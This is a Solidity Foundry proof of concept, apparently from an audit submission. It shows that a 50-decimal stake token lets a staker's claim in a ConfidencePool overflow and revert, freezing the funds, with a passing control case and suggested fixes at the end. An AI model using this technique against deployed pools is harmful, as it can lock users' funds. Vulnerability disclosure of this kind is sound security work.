The PoC uses the actual UUPS factory, its pool clone, and a fixed-supply OpenZeppelin token reporting 50 decimals. The quarter-magnitude control settles successfully.
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {stdError} from "forge-std/StdError.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {MockAgreement} from "test/mocks/MockAgreement.sol";
import {MockAttackRegistry} from "test/mocks/MockAttackRegistry.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
contract FixedSupplyFiftyDecimalToken is ERC20 {
constructor(address holder, uint256 supply) ERC20("Fifty Decimal Token", "FDT") {
_mint(holder, supply);
}
function decimals() public pure override returns (uint8) {
return 50;
}
}
contract BCCPBS02SubmissionPoC is Test {
uint256 private constant ENTRY_TIME = 2_000_000_000;
address private constant SCOPE_ACCOUNT = address(0xC0FFEE);
address private agreementOwner = makeAddr("agreementOwner");
address private moderator = makeAddr("moderator");
address private recovery = makeAddr("recovery");
address private alice = makeAddr("alice");
address private bob = makeAddr("bob");
address private carol = makeAddr("carol");
MockAttackRegistry private attackRegistry;
MockAgreement private agreement;
ConfidencePoolFactory private factory;
function setUp() public {
vm.warp(1_750_000_000);
attackRegistry = new MockAttackRegistry();
MockSafeHarborRegistry registry = new MockSafeHarborRegistry();
agreement = new MockAgreement(agreementOwner);
agreement.setContractInScope(SCOPE_ACCOUNT, true);
registry.setAgreementValid(address(agreement), true);
registry.setAttackRegistry(address(attackRegistry));
attackRegistry.setAgreementState(IAttackRegistry.ContractState.NEW_DEPLOYMENT);
ConfidencePool poolImplementation = new ConfidencePool();
ConfidencePoolFactory factoryImplementation = new ConfidencePoolFactory();
factory = ConfidencePoolFactory(
address(
new ERC1967Proxy(
address(factoryImplementation),
abi.encodeCall(
ConfidencePoolFactory.initialize, (address(registry), address(poolImplementation), moderator)
)
)
)
);
}
function test_BCCPBS02_realFactoryTokenFreezesIndependentClaim() external {
uint256 totalStake = _maximumStakeAtEntry();
uint256 victimStake = totalStake / 4;
(ConfidencePool pool, FixedSupplyFiftyDecimalToken token) = _createPool(totalStake + 1);
token.transfer(alice, victimStake);
token.transfer(bob, totalStake - victimStake);
token.transfer(carol, 1);
vm.warp(ENTRY_TIME);
_stake(pool, token, alice, victimStake);
_stake(pool, token, bob, totalStake - victimStake);
_resolve(pool, token);
assertEq(token.decimals(), 50);
assertTrue(factory.allowedStakeToken(address(token)));
assertEq(totalStake * (pool.outcomeFlaggedAt() - ENTRY_TIME) ** 2, totalStake);
vm.expectRevert(stdError.arithmeticError);
vm.prank(alice);
pool.claimSurvived();
assertEq(token.balanceOf(address(pool)), totalStake + 1);
assertEq(pool.eligibleStake(alice), victimStake);
assertFalse(pool.hasClaimed(alice));
vm.expectRevert(IConfidencePool.NothingToSweep.selector);
pool.sweepUnclaimedBonus();
vm.prank(alice);
vm.expectRevert(IConfidencePool.OutcomeAlreadySet.selector);
pool.withdraw();
vm.warp(pool.expiry());
vm.prank(alice);
vm.expectRevert(IConfidencePool.InvalidOutcome.selector);
pool.claimExpired();
}
function test_BCCPBS02_quarterMagnitudeControlSettles() external {
uint256 stakeAmount = _maximumStakeAtEntry() / 4;
(ConfidencePool pool, FixedSupplyFiftyDecimalToken token) = _createPool(stakeAmount + 1);
token.transfer(alice, stakeAmount);
token.transfer(carol, 1);
vm.warp(ENTRY_TIME);
_stake(pool, token, alice, stakeAmount);
_resolve(pool, token);
vm.prank(alice);
pool.claimSurvived();
assertEq(token.balanceOf(alice), stakeAmount + 1);
assertEq(token.balanceOf(address(pool)), 0);
}
function _createPool(uint256 supply) private returns (ConfidencePool pool, FixedSupplyFiftyDecimalToken token) {
token = new FixedSupplyFiftyDecimalToken(address(this), supply);
factory.setStakeTokenAllowed(address(token), true);
vm.prank(agreementOwner);
pool = ConfidencePool(
factory.createPool(address(agreement), address(token), ENTRY_TIME + 31 days, 1, recovery, _scope())
);
}
function _stake(ConfidencePool pool, FixedSupplyFiftyDecimalToken token, address staker, uint256 amount) private {
vm.startPrank(staker);
token.approve(address(pool), amount);
pool.stake(amount);
vm.stopPrank();
}
function _resolve(ConfidencePool pool, FixedSupplyFiftyDecimalToken token) private {
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
vm.startPrank(carol);
token.approve(address(pool), 1);
pool.contributeBonus(1);
vm.stopPrank();
vm.warp(ENTRY_TIME + 1);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
}
function _maximumStakeAtEntry() private pure returns (uint256) {
return type(uint256).max / (ENTRY_TIME * ENTRY_TIME);
}
function _scope() private pure returns (address[] memory accounts) {
accounts = new address[](1);
accounts[0] = SCOPE_ACCOUNT;
}
}
Also enforce the invariant wherever timestamp moments are rebuilt. Alternatively, store moments relative to riskWindowStart and use full-precision intermediates.